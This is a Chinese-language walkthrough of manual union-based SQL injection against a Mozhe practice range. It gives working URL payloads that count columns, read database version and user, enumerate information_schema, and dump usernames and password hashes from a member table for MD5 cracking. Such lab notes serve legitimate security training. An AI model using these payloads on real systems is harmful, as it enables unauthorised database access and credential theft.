- 墨者启动靶场
- 进入能够与数据库交互页面,在地址栏输入正确和错误字符,观察页面是否有因参数能够被传入数据库产生页面变化。判断注入点是否存在。
- 用order by 测出列名数量,从小到大,当数字n导致页面错误,则列名为n-1
域名/文件?id=1 order by [1,2,3,4]
- 将参数输入错误值返回错误界面,用union 拼接
域名/文件?参数=[错误的数字] union select 1,2,3,最大值
得到页面显示内容的数字
-
信息收集,
收集数据库版本,version()
数据库名字databse()
操作系统@@version_compile_os
数据库用户user()
将函数插入到语句显示数字上,得到信息域名/文件?参数=[错误的数字] union select 1,version(),databse(),最大值
域名/文件?参数=[错误的数字] union select 1,@@version_compile_os,user(),最大值
-
大于5.0版本mysql有个默认数据库存储了所有数据库名,表名,列名
默认数据库 information_schema
库名表 schemata 表名表 tables 列名表 columns查询使用 表名 table_name 列名 column_name 数据库名 schema_name
查询所有 group_concat() where比对: table_schema -
查询指定数据库中所有表
域名/文件?参数=[错误的数字]union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema= 'mozhe_Discuz_StormGroup'
StormGroup_member,notice -
查询指定表中所有列
域名/文件?参数=[错误的数字] union select 1, group_concat(column_name),3,4 from information_schema.columns where table_name= 'StormGroup_member'
id,name,password,stat -
查询指定数据
域名/文件?参数=[错误的数字] union select 1,name,password,4 from StormGroup_member
-
判断是否有多个密码,并md5解密
域名/文件?参数=[错误的数字] union select 1,name,password,4 from StormGroup_member limit X,1 #改变x值查询